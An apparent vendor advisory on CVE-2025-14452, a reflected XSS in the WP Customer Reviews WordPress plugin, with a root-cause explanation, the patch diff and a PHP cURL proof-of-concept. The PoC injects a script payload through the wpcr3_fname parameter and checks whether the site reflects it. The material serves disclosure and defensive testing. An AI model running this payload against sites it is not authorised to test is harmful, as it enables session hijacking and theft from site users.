Atomic Edge analysis of CVE-2025-14452:
This vulnerability is a reflected cross-site scripting (XSS) flaw in the WP Customer Reviews WordPress plugin, affecting versions up to and including 3.7.5. The vulnerability exists due to insufficient sanitization of the ‘wpcr3_fname’ parameter. An unauthenticated attacker can inject arbitrary JavaScript, which executes in the victim’s browser context. The CVSS score of 7.2 indicates a high-severity issue.
The root cause is the plugin’s failure to properly sanitize user input from the GET and POST superglobal arrays before storing them in an object property. The vulnerable code resides in the `make_p_obj()` function within the file `wp-customer-reviews/wp-customer-reviews-3.php`. In the patched version 3.7.5, lines 199-244 show that the function performed an `isXssAttempt()` check on each value, but this check was applied inconsistently. For array values, the check was performed on nested elements, but the sanitized array was then assigned to the object. For non-array values, the check was performed, and the value was also passed through `trim(stripslashes())`. The flaw was that this sanitization logic was embedded directly within the input processing loops, potentially missing edge cases or allowing bypasses.
Exploitation involves an attacker crafting a URL or a form that submits a malicious payload via the `wpcr3_fname` HTTP parameter to any page that loads the WP Customer Reviews plugin. The payload would be standard XSS JavaScript, such as `alert(document.domain)`. When a victim visits the crafted link, the plugin receives the malicious input via `$_GET[‘wpcr3_fname’]` or `$_POST[‘wpcr3_fname’]`. The `make_p_obj()` function processes this input, and due to inadequate sanitization, the payload persists in the `$this->p` object. The plugin later outputs this value without proper escaping, causing script execution in the victim’s browser.
The patch in version 3.7.6 refactors the input handling logic. It introduces two new methods: `sanitize_p_obj()` and `sanitize_p_obj_array()`. The `make_p_obj()` function now performs a simpler task. It copies all `$_GET` and `$_POST` values into the `$this->p` object, applying only `trim(stripslashes())` to non-array values. After constructing the object, it explicitly calls `$this->sanitize_p_obj()`. This new method iterates through all properties of `$this->p` and recursively applies the `isXssAttempt()` filter, setting any matching value to an empty string. This separation of concerns and consistent application of sanitization across all data types closes the XSS vulnerability.
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a logged-in user’s browser session. This can lead to session hijacking, actions performed on behalf of the user, defacement of the site, or theft of sensitive information like cookies or authentication tokens. As the attack is reflected and requires user interaction, the impact is contingent on social engineering, but the consequences for an administrative user can be severe.
--- a/wp-customer-reviews/wp-customer-reviews-3.php
+++ b/wp-customer-reviews/wp-customer-reviews-3.php
@@ -3,7 +3,7 @@
* Plugin Name: WP Customer Reviews
* Plugin URI: https://wordpress.org/plugins/wp-customer-reviews/
* Description: Allows your visitors to leave business / product reviews. Testimonials are in Microdata / Microformat and may display star ratings in search results.
- * Version: 3.7.5
+ * Version: 3.7.6
* Author: Aaron Queen
* Author URI: https://wordpress.org/plugins/wp-customer-reviews/
* Text Domain: wp-customer-reviews
@@ -199,44 +199,54 @@
$this->options = get_option($this->options_name);
}
+ function sanitize_p_obj_array($valArr) {
+ foreach ($valArr as $k => $v) {
+ if (is_array($v)) {
+ $valArr[$k] = $this->sanitize_p_obj_array($v);
+ continue;
+ }
+
+ if ($this->isXssAttempt($v)) {
+ $valArr[$k] = '';
+ }
+ }
+
+ return $valArr;
+ }
+
+ function sanitize_p_obj() {
+ foreach ($this->p as $c => $val) {
+ if (is_array($val)) {
+ $this->p->$c = $this->sanitize_p_obj_array($val);
+ continue;
+ }
+
+ if ($this->isXssAttempt($val)) {
+ $this->p->$c = '';
+ }
+ }
+ }
+
function make_p_obj() {
$this->p = new stdClass();
foreach ($_GET as $c => $val) {
- if (is_array($val)) {
- foreach ($val as $k => $v) {
- if ($this->isXssAttempt($v)) {
- $val[$k] = '';
- }
- }
-
- $this->p->$c = $val;
- } else {
- if ($this->isXssAttempt($val)) {
- $val = '';
- }
-
- $this->p->$c = trim(stripslashes($val));
- }
+ if (is_array($val)) {
+ $this->p->$c = $val;
+ } else {
+ $this->p->$c = trim(stripslashes($val));
+ }
}
foreach ($_POST as $c => $val) {
- if (is_array($val)) {
- foreach ($val as $k => $v) {
- if ($this->isXssAttempt($v)) {
- $val[$k] = '';
- }
- }
-
- $this->p->$c = $val;
- } else {
- if ($this->isXssAttempt($val)) {
- $val = '';
- }
-
- $this->p->$c = trim(stripslashes($val));
- }
- }
+ if (is_array($val)) {
+ $this->p->$c = $val;
+ } else {
+ $this->p->$c = trim(stripslashes($val));
+ }
+ }
+
+ $this->sanitize_p_obj();
}
function is_active_page() {
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14452 - WP Customer Reviews <= 3.7.5 - Reflected Cross-Site Scripting via 'wpcr3_fname' Parameter
<?php
// Configure the target WordPress site URL
$target_url = 'http://example.com/';
// Define the XSS payload to be injected via the vulnerable parameter
$payload = '<script>alert("XSS via wpcr3_fname")</script>';
// Construct the malicious URL with the payload in the wpcr3_fname GET parameter
$attack_url = $target_url . '?wpcr3_fname=' . urlencode($payload);
// Initialize cURL session
$ch = curl_init();
// Set cURL options to fetch the malicious URL
curl_setopt($ch, CURLOPT_URL, $attack_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Follow redirects if any
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Optionally set a user-agent to mimic a real browser
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 Atomic-Edge-PoC');
// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for cURL errors
if(curl_errno($ch)) {
echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
echo "HTTP Status: $http_coden";
// Simple check: see if the raw payload appears in the response body (unsanitized)
if (strpos($response, $payload) !== false) {
echo "[!] Vulnerability likely present: Payload found unsanitized in response.n";
echo " Visit the following URL in a browser to trigger the alert:n";
echo " $attack_urln";
} else {
echo "[-] Payload not found in raw response. The site may be patched or the payload was sanitized.n";
}
}
// Close cURL session
curl_close($ch);
?>